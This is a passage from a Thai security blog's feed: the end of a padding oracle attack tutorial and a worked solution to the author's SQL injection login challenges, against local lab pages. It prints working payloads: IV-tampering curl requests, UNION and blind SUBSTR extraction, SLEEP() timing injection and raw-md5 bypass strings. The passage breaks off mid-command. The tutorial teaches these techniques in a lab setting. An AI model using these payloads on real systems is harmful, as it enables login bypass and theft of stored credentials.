IV ของ byte หลังที่จะหา เป็น pad value ที่ถูกต้อง โดยนำ pad value ที่ต้องให้เป็นไป xor กับ Intermediary Value ที่หาได้ และไปทำที่ข้อ 3&lt;br/&gt;&lt;/p&gt;&lt;p&gt;อ่านวิธีอาจจะงง มาดูตัวอย่างกันดีกว่า เริ่มต้นที่เปลี่ยนค่า IV เป็น 0 ซึ่งจะได้ค่าต่างๆ ในการทำ decryption ตามรูป&lt;/p&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_4X9aA2jxLhc/TTxVAqWIeLI/AAAAAAAAAEI/Kx4e-rO4Yto/s1600/decrypt_3.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="187" width="400" src="http://1.bp.blogspot.com/_4X9aA2jxLhc/TTxVAqWIeLI/AAAAAAAAAEI/Kx4e-rO4Yto/s400/decrypt_3.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;จากนั้นเราก็ส่ง request ไปที่ po_check.php โดยเปลี่ยนค่า IV ไปเรื่อยๆ ดังนี้&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ curl "http://127.0.0.1/thtutz/po_check.php?user=000000000000000021a7b2b00f85b47d"&lt;br /&gt;Error: Invalid padding&lt;br /&gt;$ curl "http://127.0.0.1/thtutz/po_check.php?user=000000000000000121a7b2b00f85b47d"&lt;br /&gt;Error: Invalid padding&lt;br /&gt;$ curl "http://127.0.0.1/thtutz/po_check.php?user=000000000000000221a7b2b00f85b47d"&lt;br /&gt;Error: Invalid padding&lt;br /&gt;...&lt;br /&gt;$ curl "http://127.0.0.1/thtutz/po_check.php?user=000000000000005421a7b2b00f85b47d"&lt;br /&gt;Data OK : *5,*pGJ&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ได้ค่า IV ของ byte สุดท้ายที่ทำให้ plaintext ออกมาเป็น 0x01 คือ 0x54 ทำให้ได้ Intermediary Value เป็น 0x01 ^ 0x54 = 0x55 ตามรูปข้างล่าง ซึ่ง plaintext ของ byte นี้ก็คือ 0x55 ^ 0x56 = 0x03&lt;/p&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_4X9aA2jxLhc/TTxVebQN-AI/AAAAAAAAAEQ/BcvRrVaH5SU/s1600/decrypt_4.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="190" width="400" src="http://1.bp.blogspot.com/_4X9aA2jxLhc/TTxVebQN-AI/AAAAAAAAAEQ/BcvRrVaH5SU/s400/decrypt_4.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;หลังจากนั้น ก็ทำ byte ถัดไป โดย padding value ต้องเป็น 0x02 จำนวน 2 bytes โดย IV ที่จะทำให้ค่า byte สุดท้ายของ block เป็น 0x02 คือ 0x02 ^ 0x55 = 0x57 และทำการส่ง request โดยเปลี่ยนค่า IV ตามนี้&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ curl "http://127.0.0.1/thtutz/po_check.php?user=000000000000005721a7b2b00f85b47d"&lt;br /&gt;Error: Invalid padding&lt;br /&gt;$ curl "http://127.0.0.1/thtutz/po_check.php?user=000000000000015721a7b2b00f85b47d"&lt;br /&gt;Error: Invalid padding&lt;br /&gt;...&lt;br /&gt;$ curl "http://127.0.0.1/thtutz/po_check.php?user=000000000000485721a7b2b00f85b47d"&lt;br /&gt;Data OK : *5,*pG&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ได้ค่า IV ที่ทำให้ plaintext ออกมาเป็น 0x02 คือ 0x48 ทำให้ได้ Intermediary Value เป็น 0x02 ^ 0x48 = 0x4a ตามรูปข้างล่าง ซึ่ง plaintext ของ byte นี้ก็คือ 0x4a ^ 0x49 = 0x03&lt;/p&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_4X9aA2jxLhc/TTxVoqCOA4I/AAAAAAAAAEY/0CuJeeHc2RM/s1600/decrypt_5.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="193" width="400" src="http://3.bp.blogspot.com/_4X9aA2jxLhc/TTxVoqCOA4I/AAAAAAAAAEY/0CuJeeHc2RM/s400/decrypt_5.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;และทำแบบนี้ไปเรื่อยๆ จนครบทั้ง block จะได้ plaintext ออกมา ซึ่งผมได้เขียน code เป็น python (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/padding_oracle/po_decrypt.py?attredirects=0&amp;d=1"&gt;po_decrypt.php&lt;/a&gt;) สำหรับการ decrypt นี้ ซึ่งเมื่อ run จะได้ตามนี้ (ซึ่งอาจต้อง ip กับ url ใน code ก่อน run นะครับ)&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ python po_decrypt.py 8 5f4649584544495621a7b2b00f85b47d&lt;br /&gt;text[7]:  &lt;br /&gt;text[6]:  &lt;br /&gt;text[5]:  &lt;br /&gt;text[4]: 5&lt;br /&gt;text[3]: r&lt;br /&gt;text[2]: e&lt;br /&gt;text[1]: s&lt;br /&gt;text[0]: u&lt;br /&gt;finished&lt;br /&gt;Data: user5   &lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ที่ผมกล่าวไปนั้นเป็นการ decrypt ข้อมูลเพียงแค่ block เดียว สำหรับการ decrypt ข้อมูลหลายๆ block เรามาดูค่าต่างๆ ของการ decrypt ข้อมูลจำนวน 2 block กันก่อนดีกว่า&lt;/p&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_4X9aA2jxLhc/TTxV1liV0SI/AAAAAAAAAEg/TnIxLqKEZgE/s1600/decrypt_6.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="106" width="400" src="http://2.bp.blogspot.com/_4X9aA2jxLhc/TTxV1liV0SI/AAAAAAAAAEg/TnIxLqKEZgE/s400/decrypt_6.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;จากรูปจะเห็นว่า IV ของ block ถัดไปก็คือ encrypted data ของ block ก่อนหน้า ดังนั้นวิธีการ decrypt ในแต่ละ block จะเหมือนกัน เพียงแค่เปลี่ยนค่า IV กับ encrypted data ของ block นั้นๆ และถ้าข้อมูลมีจำนวน block เยอะๆ เราก็สามารถที่จะทำ หลายๆ block พร้อมกันได้&lt;/p&gt;&lt;h4&gt;Padding Oracle Attack เพื่อ encrypt ข้อมูล&lt;/h4&gt;&lt;p&gt;จากหัวข้อการ decryption จะเห็นว่าเราสามารถเทคนิคนี้หา Intermediary Value จาก encrypted data ใดๆ ได้ ดังนั้นวิธีการ encrypt ข้อมูลจำนวน 1 block ก็คือสุ่ม encrypted data แล้วหา Intermediary Value (โดยปกติเราจะต้องทำขั้นตอนของการ decryption ก่อน ดังนั้นเราสามารถหยิบ encrypted data กับ Intermediary Value จาก block ไหนก็ได้มา) หลังจากนั้นนำมา xor กับ plaintext เพื่อหาค่า IV (แค่นี้แหละครับครับ ง่ายมั้ย xD)&lt;/p&gt;&lt;p&gt;สำหรับกรณีที่มีหลายๆ block เราจะต้องทำการหาจาก block สุดท้ายก่อน แล้วนำ IV ที่ได้มาเป็น encrypted data ใน block ก่อนหน้า มาดูตัวอย่างกันดีกว่า สมมติว่าผมต้องการ encrypt คำว่า administrator โดยกำหนดให้ encrypted data ใน block สุดท้ายเป็น 0x01 0x02 ... 0x08 เริ่มต้นเราจะตั้งตารางเป็นดังนี้&lt;/p&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_4X9aA2jxLhc/TT2WGeFwy2I/AAAAAAAAAEo/V63ztsYUmxY/s1600/encrypt_1.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="107" width="400" src="http://1.bp.blogspot.com/_4X9aA2jxLhc/TT2WGeFwy2I/AAAAAAAAAEo/V63ztsYUmxY/s400/encrypt_1.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;จะเห็นว่า เราจะต้องจัดเรียงข้อมูลของเราให้ตรง block พร้อมทั้งมี padding ด้วย และทำการหา Intermediary Value กับ IV ของ Block ที่ 2 ซึ่งได้ผมตามรูป&lt;/p&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_4X9aA2jxLhc/TT2WKaJJvjI/AAAAAAAAAEw/He1lYz2s18g/s1600/encrypt_2.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="107" width="400" src="http://2.bp.blogspot.com/_4X9aA2jxLhc/TT2WKaJJvjI/AAAAAAAAAEw/He1lYz2s18g/s400/encrypt_2.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;เมื่อได้ค่า IV ใน block ที่ 2 ก็นำมาเป็น encrypted data ใน block ที่ 1 โดยผมได้เขียนโปรแกรมไว้แล้ว (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/padding_oracle/po_encrypt.py?attredirects=0&amp;d=1"&gt;po_encrypt.py&lt;/a&gt;) ซึ่งเมื่อ run จะได้ตามนี้&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ python po_encrypt.py 8 administrator&lt;br /&gt;...&lt;br /&gt;Encrypted Data (Hex): b97b9b9ef86104b62f97906ade4f973a010203040506060708&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จบแล้วนะครับ สำหรับ concept หลักของ Padding Oracle Attacks ทีเหลือคือการประยุกต์ใช้กับ application จริง ซึ่งไม่ง่ายเหมือนในตัวอย่างผมหรอกนะครับ แต่ถ้าเข้าใจตรงนี้แล้ว ผมว่าไม่ยากมากที่จะทำความเข้าใจกับ tool สำหรับเทคนิคนี้&lt;/p&gt;&lt;br/&gt;&lt;p&gt;&lt;b&gt;Reference:&lt;/b&gt;&lt;br/&gt;- http://netifera.com/research/poet/PaddingOracleBHEU10.pdf&lt;br/&gt;- http://www.gdssecurity.com/l/b/2010/09/14/automated-padding-oracle-attacks-with-padbuster/&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4476954070144250460-8262032363134347251?l=thtutz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thtutz.blogspot.com/feeds/8262032363134347251/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thtutz.blogspot.com/2011/01/padding-oracle-attacks.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/8262032363134347251'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/8262032363134347251'/><link rel='alternate' type='text/html' href='http://thtutz.blogspot.com/2011/01/padding-oracle-attacks.html' title='Padding Oracle Attacks'/><author><name>Worawit (sleepya)</name><uri>http://www.blogger.com/profile/16667985019731254845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_4X9aA2jxLhc/TTxUWIjc6bI/AAAAAAAAADw/Lm_VH5f3mOU/s72-c/padding.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4476954070144250460.post-8151656163893493304</id><published>2011-01-18T23:52:00.003+07:00</published><updated>2011-01-19T21:14:45.497+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='SQL Injection'/><title type='text'>PHP Login กับ SQL Injection (เฉลย)</title><content type='html'>&lt;p&gt;จาก&lt;a href="http://thtutz.blogspot.com/2011/01/php-login-sql-injection.html"&gt;โจทย์&lt;/a&gt;ที่ผมตั้งไว้ ถึงเวลาเฉลยแล้ว ถ้าใครเพิ่งมาอ่าน หรือยังไม่ได้ทำ ผมอยากให้ลองทำก่อนดูเฉลยนะครับ&lt;/p&gt;&lt;p&gt;ก่อนจะเฉลย ผมขอพูดถึงการทำ sql injection นิดนึง การทำ sql injection นั้นก็คือการเหมือนกับว่า programmer ได้เขียนคำสั่ง SQL เริ่มต้นให้ (และอาจจะมีต่อท้ายให้ด้วย) สิ่งที่เราต้องทำคือเติมคำสั่ง SQL ให้มันถูกต้อง แต่เปลี่ยนความหมายของคำสั่ง เพื่อดึงเอาข้อมูลส่วนที่เราต้องการออกมา ดังนั้นสิ่งสำคัญในการทำ sql injection คือการเรียนรู้คำสั่ง SQL และ DBMS ต่างๆ เวลาอ่านเฉลยข้อไหนแล้วงงๆ ก็ให้ลองเปิดตัว MySQL client แล้วลองพิมพ์คำสั่ง SQL ที่จะถูกประมวลผลดู&lt;/p&gt;&lt;p&gt;&lt;b style="color:#cc6666"&gt;ข้อ 1&lt;/b&gt; อันนี้ถ้าใครลองทำตามตำราแบบง่ายสุดคือใส่ &lt;span&gt;' or '1'='1&lt;/span&gt; ที่ username คงจะเจอกับ error ว่า "The number of rows is not 1" เนื่องจากผมมีการ check ว่าจำนวน row ที่ได้นั้นเท่ากับ 1 หรือไม่ ดังนั้นวิธีง่ายสุดของข้อนี้ ก็คือใช้ LIMIT ตามนี้ (ผมขอใช้ curl เพื่อประหยัดพื้นที่)&lt;/p&gt;&lt;pre class="code language-cmd"&gt;&lt;br /&gt;D:\thtutz\challenge&gt;curl "http://127.0.0.1/thtutz/login_sqli1.php?password=whatever&amp;username='+or+1=1+LIMIT+1%23"&lt;br /&gt;Congrats, WIN!!!&lt;br /&gt;&lt;/pre&gt;&lt;br/&gt;&lt;p&gt;&lt;b style="color:#cc6666"&gt;ข้อ 2&lt;/b&gt; ข้อนี้จะเห็นว่าใน query มีใช้แค่ username แต่ผม และมีการเอา password มาเปรียบเทียบต่างหาก ซึ่งต่างจากข้อ1 ที่เวลาทำ sql injection ในข้อ1 นั้น สามารถทำให้การ check password นั้นเหมือนไม่มีได้&lt;/p&gt;&lt;p&gt;ปัญหาของข้อนี้ คือเราไม่รู้ว่า password ของ record ที่ query ออกมาจาก database นั้น password อะไร วิธีแก้ก็คือใช้ UNION SELECT เพื่อให้ได้ record ปลอมที่เราสร้างมาเอง เช่นใช้ &lt;span class="code"&gt;"UNION SELECT 1,2,3"&lt;/span&gt; (ไม่มี quote) จะทำให้การ query ได้ record ที่มี id มีค่าเป็น 1, username มีค่าเป็น 2 และ password มีค่าเป็น 3&lt;/p&gt;&lt;p&gt;แต่เนื่องด้วยใน database นั้นการเก็บ md5 hash ของ password ดังนั้นสิ่งที่เราทำคือต้องการ md5 ของ password ที่เราจะปลอมด้วย ดังนั้นข้อนี้สามารถทำได้ตามนี้&lt;/p&gt;&lt;pre class="code language-cmd"&gt;&lt;br /&gt;D:\thtutz\challenge&gt;php -r "echo md5('');"&lt;br /&gt;d41d8cd98f00b204e9800998ecf8427e&lt;br /&gt;D:\thtutz\challenge&gt;curl "http://127.0.0.1/thtutz/login_sqli2.php?password=&amp;username='+UNION+SELECT+1,2,'d41d8cd98f00b204e9800998ecf8427e'%23"&lt;br /&gt;Congrats, WIN!!!&lt;br /&gt;&lt;/pre&gt;&lt;br/&gt;&lt;p&gt;&lt;b style="color:#cc6666"&gt;ข้อ 3&lt;/b&gt; ข้อนี้สิ่งที่ผมต้องการให้ทำคือ blind sql injection เพื่อดึงข้อมูลออกมาจาก database ไม่ใช่ bypass login ถ้าใครสังเกต จะเห็นว่าผมใบ้ไว้แล้วว่า ไม่สามารถทำ sql injection ให้ php ไปทำงานที่บรรทัดที่ต้องการได้ พูดง่ายๆ ก็คือไม่สามารถทำ sql injection เพื่อ bypass หน้า login ที่เขียน code แบบนี้ได้ (ถ้าใครทำได้ช่วยบอกผมด้วย ผมทำไม่ได้)&lt;/p&gt;&lt;p&gt;ก่อนอื่นเราก็ต้องมานั่งคิดก่อน เราต้องการดึงอะไรออกมา สำหรับโจทย์ผมนั้นมันชัดเจนว่าต้องดึง username กับ password ออกมา เนื่องด้วย error ที่ออกมาจะมีค่าต่างกัน เราจึงสามารถใช้ประโยชน์จาก error นี้ได้ โดยวิธีการดึง id สามารถทำได้ตามนี้&lt;/p&gt;&lt;pre class="code language-cmd"&gt;&lt;br /&gt;D:\thtutz\challenge&gt;curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&amp;username='+or+id=1%23"&lt;br /&gt;Invalid username or password&lt;br /&gt;&lt;br /&gt;D:\thtutz\challenge&gt;curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&amp;username='+or+id=2%23"&lt;br /&gt;Invalid username or password&lt;br /&gt;&lt;br /&gt;D:\thtutz\challenge&gt;curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&amp;username='+or+id=3%23"&lt;br /&gt;The number of rows is not 1&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;วิธีที่ผมใช้คือ พยายามทำ sql injection ให้ query ออกมาทีละ 1 row ถ้า id ที่ใส่ไปนั้นมีใน database ซึ่งจะเห็นว่า เมื่อใส่ id เป็น 3 (ไ่ม่มีใน database) error ที่ออกมาจะไม่เหมือนเมื่อใส่ id เป็น 1 หรือ 2&lt;/p&gt;&lt;p&gt;สำหรับการดึง username กับ password นั้น ถ้าเราทำแบบ id คือลอง password ทั้ง string นั้นโอกาสที่จะถูกน้อยมาก เพราะ password นั้นยาวมาก วิธีการคือการใช้ function SUBSTR() ของ MySQL ช่วย เพื่อที่จะเปรียบเทียบค่าทีละตัวอักษร อาจจะงง ดูตัวอย่างเลยดีกว่า โดยผมจะทำกับ id เท่ากับ 1&lt;/p&gt;&lt;pre class="code language-cmd"&gt;&lt;br /&gt;D:\thtutz\challenge&gt;curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&amp;username='+or+SUBSTR(password,1,1)='1'+AND+id=1%23"&lt;br /&gt;The number of rows is not 1&lt;br /&gt;&lt;br /&gt;D:\thtutz\challenge&gt;curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&amp;username='+or+SUBSTR(password,1,1)='2'+AND+id=1%23"&lt;br /&gt;The number of rows is not 1&lt;br /&gt;&lt;br /&gt;D:\thtutz\challenge&gt;curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&amp;username='+or+SUBSTR(password,1,1)='4'+AND+id=1%23"&lt;br /&gt;Invalid username or password&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จากข้างบน จะได้ว่า password hash ของตัวอัีกษรแรกคือ 4 ซึ่งจะเห็นว่าถ้าจะเอา password ออกมาต้อง request เยอะมาก ผมเลยเขียน python สำหรับ request หา password ของ user id 1 ไว้แล้ว (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/web_challenge/login_blind.py?attredirects=0&amp;d=1"&gt;login_blind.py&lt;/a&gt;) ซึ่งถ้า run จะได้ผลตามนี้&lt;/p&gt;&lt;pre class="code language-cmd"&gt;&lt;br /&gt;D:\thtutz\challenge&gt;login_blind.py&lt;br /&gt;1: 4&lt;br /&gt;2: 4&lt;br /&gt;...&lt;br /&gt;44a86b4e2c89f87be46c3ad9f24128dc&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;สำหรับการดึง username นั้นผมขอให้เขียนเองนะครับ แค่เปลี่ยน charsets และต้อง check ด้วยว่าจบ string หรือยัง ด้วยการเปรียบกับ empty string (&lt;span class="code"&gt;''&lt;/span&gt;) และเมื่อได้ข้อมูลมาทุกอย่าง เราก็ต้องทำการ crack md5 ซึ่งจะได้ password ออกมาเป็น tooeasy และเอาไป login&lt;/p&gt;&lt;pre class="code language-cmd"&gt;&lt;br /&gt;D:\thtutz\challenge&gt;curl "http://127.0.0.1/thtutz/login_sqli3.php?password=tooeasy&amp;username=admin"&lt;br /&gt;Impossible to be here with SQL injection&lt;br /&gt;Congrats, WIN!!!&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จริงๆแล้ว ข้อนี้ผมตั้งโจทย์ผิด ตั้งใจจะให้ทำ totally blind sql injection แต่ดันทำให้ error มันต่างกัน ผมเลยขออธิบายวิธีทำ sql injection เมื่อ error มันเหมือนกันตลอดด้วย โดยสมมติว่าถ้ามี error อะไรก็แสดงแต่ "Invalid username or password"&lt;/p&gt;&lt;p&gt;ถ้า error เหมือนกัน เราไม่สามารถใช้วิธีข้างบนได้ วิธีที่จะใช้คือ&lt;b&gt;"เวลา"&lt;/b&gt; ถ้าสิ่งที่เราต้องการเปรียบเทียบถูกก็ให้ return ค่ากลับมาช้าๆ ถ้าผิดก็ return ทันที โดยการที่ทำให้ MySQL return ค่ากลับมาช้าๆ นั้นสามารถใช้ SLEEP() ตามตัวอย่างต่อไปนี้&lt;/p&gt;&lt;pre class="code language-cmd"&gt;&lt;br /&gt;D:\thtutz\challenge&gt;curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&amp;username='+UNION+SELECT+IF(id=1,SLEEP(5),1),2,3+FROM+members+WHERE+id=1%23"&lt;br /&gt;Invalid username or password     &lt;=== ใช้เวลาอย่างน้อย 5 วินาที&lt;br /&gt;&lt;br /&gt;D:\thtutz\challenge&gt;curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&amp;username='+UNION+SELECT+IF(id=3,SLEEP(5),1),2,3+FROM+members+WHERE+id=3%23"&lt;br /&gt;The number of rows is not 1&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ถ้าใครลองทำตาม จะเห็นว่า request แรก ต้องใช้เวลาอย่างน้อย 5 วินาทีถึงจะได้ response แต่ใน request ที่สองจะได้กลับมาทันที วิธีการนี้จะมี reliable ต่ำกว่าการใช้ error เพราะ server อาจจะยุ่งอยู่ และ network มี latency หรือ round trip time ไม่แน่นอน ทำให้เราได้ response ช้า ทั้งๆที่น่าจะได้ response กลับมาทันที วิธีแก้ก็คือใส่ SLEEP() ให้เยอะหน่อย&lt;/p&gt;&lt;p&gt;สำหรับการดึง password ก็ใช้หลักการเดียวกัน โดยผมเขียนเป็น python code แล้ว (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/web_challenge/login_total_blind.py?attredirects=0&amp;d=1"&gt;login_total_blind.py&lt;/a&gt;) ซึ่งถ้า run จะได้ผลเหมือนข้างบน แต่ใช้เวลามากกว่า ส่วนการดึง username ผมขอให้เขียนเองนะครับ&lt;/p&gt;&lt;p&gt;&lt;b&gt;Note:&lt;/b&gt; SLEEP() มีใน MySQL() ตั้งแต่ version 5.0.12 ถ้า version ต่ำกว่า 5.0.12 ต้องใช้ BENCHMARK() (ดูตัวอย่างได้ใน code python ผม โดน comment ไว้อยู่)&lt;/p&gt;&lt;br/&gt;&lt;p&gt;&lt;b style="color:#cc6666"&gt;ข้อ 4&lt;/b&gt; ปัญหาของข้อนี้ คือการนำ raw md5 ไป query โดยไม่มีการ escape ก่อน สิ่งที่เราต้องทำก็คือ หาค่าที่เมื่อทำ md5 แล้วได้ค่าประมาณ "or 1=1#" เพื่อให้ SQL query ออกมามี row มากกว่า 0&lt;/p&gt;&lt;p&gt;ข้อจำกัดของข้อนี้คือ raw md5 มีขนาด 16 bytes ดังนั้นคำสั่งที่เราต้องการจะต้องมีความยาวไม่เกิน 16 ตัวอักษร แต่เพื่อที่จะโอกาสที่จะหาค่าของ md5 ที่ต้องการเจอ เราต้องทำให้สิ่งที่เราต้องการสั้นที่สุดเท่าที่จะสั้นได้ เรามาลองคำสั่ง SQL (ใน MySQL client) รูปแบบต่างๆ ที่ทำให้การ query ออกมาอย่างน้อย 1 row กันก่อนดีกว่า แล้วค่อยอธิบาย (ให้สังเกตด้วยนะครับผมใช้ double quote ไม่ใช่ single quote)&lt;/p&gt;&lt;pre class="code language-cmd"&gt;&lt;br /&gt;mysql&gt; use thtutz;&lt;br /&gt;Database changed&lt;br /&gt;mysql&gt; select * from members where password="" or 1=1;#"&lt;br /&gt;+----+----------+----------------------------------+&lt;br /&gt;| id | username | password                         |&lt;br /&gt;+----+----------+----------------------------------+&lt;br /&gt;|  1 | admin    | 44a86b4e2c89f87be46c3ad9f24128dc |&lt;br /&gt;|  2 | junk     | invalid_hash                     |&lt;br /&gt;+----+----------+----------------------------------+&lt;br /&gt;2 rows in set (0.13 sec)&lt;br /&gt;&lt;br /&gt;mysql&gt; select * from members where password="" or 1;#"&lt;br /&gt;... # ขอละ ผลลัพธ์เหมือนเดิม&lt;br /&gt;mysql&gt; select * from members where password=""||1;#"&lt;br /&gt;... # ขอละ ผลลัพธ์เหมือนเดิม&lt;br /&gt;mysql&gt; select * from members where password="s"||"2gff"; # วิธีของทีม Kernel Sanders&lt;br /&gt;... # ขอละ ผลลัพธ์เหมือนเดิม&lt;br /&gt;mysql&gt; select * from members where password="s"||"gff";&lt;br /&gt;Empty set, 1 warning (0.00 sec)&lt;br /&gt;&lt;br /&gt;mysql&gt; select * from members where password="s"="v"; # วิธีของทีม Nibbles&lt;br /&gt;+----+----------+----------------------------------+&lt;br /&gt;| id | username | password                         |&lt;br /&gt;+----+----------+----------------------------------+&lt;br /&gt;|  1 | admin    | 44a86b4e2c89f87be46c3ad9f24128dc |&lt;br /&gt;|  2 | junk     | invalid_hash                     |&lt;br /&gt;+----+----------+----------------------------------+&lt;br /&gt;2 rows in set, 2 warnings (0.00 sec)&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;มาเริ่มกันที่ query แรก คือแบบที่ใช้กันทั่วไป ต้องใช้ถึง 9 ตัวอักษร (&lt;span class="code"&gt;" or 1=1#&lt;/span&gt;) ต่อมา query ที่สอง หลังจากการอ่าน MySQL document ผมเจอว่า MySQL นั้นจะถือตัวเลขที่ไม่ใช่ 0 เป็น true ดังนั้นแทนที่เราจะใช้ 1=1 เหลือใช้เพียงตัวเลขอะไรก็ได้ที่ไม่ใช่ 0 ก็จะต้องใช้ 7 ตัวอักษร (&lt;span class="code"&gt;" or 1#&lt;/span&gt;)&lt;/p&gt;&lt;p&gt;ส่วน query ที่สามเป็นวิธีที่ผมใช้เพื่อแก้โจทย์นี้ จาก document อีกเช่นกัน MySQL สามารถใช้ || แทน or ได้ โดยเมื่อใช้ || แล้วไม่จำเป็นต้องมีช่องว่าง ทำให้ต้องใช้ 5 ตัวอักษร (&lt;span class="code"&gt;"||1#&lt;/span&gt;) และเมื่อเขียน code โดยใช้ md5 จาก openssl จะได้ &lt;a href="https://sites.google.com/site/worawita/files/thtutz/web_challenge/login_md5raw_1.c?attredirects=0&amp;d=1"&gt;login_md5raw_1.c&lt;/a&gt; (compile กันเอาเองนะครับ อย่าลืม link กับ openssl ด้วย) ซึ่งของผมใช้เวลานานกว่า 30 นาที เมื่อผมเปลี่ยนโจทย์ให้ใช้ double quote (ผมไม่อยากรอ ไว้ดูของคนอื่นดีกว่า)&lt;/p&gt;&lt;p&gt;ใน code ของผม จะทำการ brute force ค่า binary ทุกค่าเนื่องจากการ request สามารถรับข้อมูลที่เป็น binary ได้ โดยทำการ request ไว้ดูในวิธีสุดท้ายทีเดียวเลยละักัน&lt;/p&gt;&lt;p&gt;ส่วน query ที่สี่นั้นเป็นวิธีของทีม Kernel Sanders โดยใช้หลักที่ว่า string ที่ขึ้นด้วยตัวเลขที่ไม่ใช่ 0 MySQL ถือว่าเป็น true และเพื่อให้ search หาได้เร็วขึ้นก็จะ search เพียงแค่ &lt;span class="code"&gt;"||"&lt;/span&gt; แล้วค่อย check ตัวถัดไป โดย code ที่ดัดแปลงจากของผมคือ &lt;a href="https://sites.google.com/site/worawita/files/thtutz/web_challenge/login_md5raw_2.c?attredirects=0&amp;d=1"&gt;login_md5raw_2.c&lt;/a&gt; ซึ่งวิธีนี้ code ของผมก็ run นาน เมื่อเปลี่ยนมาใช้ double quote&lt;br/&gt;&lt;b&gt;Note:&lt;/b&gt; ทีม Kernel Sanders หาโดยใช้ตัวเลขอย่างเดียว ได้ผลลัพธ์คือ 129581926211651571912466741651878684928 (สำหรับ single quote ถ้าใครไปลองก็จะไม่ถูก)&lt;/p&gt;&lt;p&gt;ส่วน query สุดท้ายนั้นเป็นวิธีของทีม Nibbles เป็นวิธีที่สั้นที่สุด โดยเงื่อนไข where จะเป็น password="a"="z" ซึ่ง MySQL จะ parse เป็น &lt;span class="code"&gt;(password="a")="z"&lt;/span&gt; ทำให้เป็น false="z" และเป็น false=false ซึ่งผลลัพธ์สุดท้ายกลายเป็น true แต่ string สุดท้ายต้องไม่ขึ้นต้นด้วยตัวเลข ซึ่งเมื่อผมเอามาใช้ใน code ผมคือ &lt;a href="https://sites.google.com/site/worawita/files/thtutz/web_challenge/login_md5raw_3.c?attredirects=0&amp;d=1"&gt;login_md5raw_3.c&lt;/a&gt; ซึ่ง run ไม่ถึงวินาที จะได้ผลลัพธ์คือ %ac%d6%04 และ python code ที่ผมเอามาจากทีม Nibbles โดยแก้ให้เป็นสำหรับ double quote (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/web_challenge/login_md5raw_3.py?attredirects=0&amp;d=1"&gt;login_md5raw_3.py&lt;/a&gt;) โดยเป็นตัวเลขอย่างเดียวจาก python จะได้ 1319 โดยนำมา request ได้ตามนี้&lt;/p&gt;&lt;pre class="code language-cmd"&gt;&lt;br /&gt;password: acd604&lt;br /&gt;password: %ac%d6%04&lt;br /&gt;result: 223d0c22570c581b84a9301adad18739&lt;br /&gt;result: "= "W X „ฉ0 ฺั‡9&lt;br /&gt;D:\thtutz\challenge&gt;curl "http://127.0.0.1/thtutz/login_sqli4.php?password=%ac%d6%04"&lt;br /&gt;Congrats, WIN!!!&lt;br /&gt;&lt;br /&gt;D:\thtutz\challenge&gt;curl 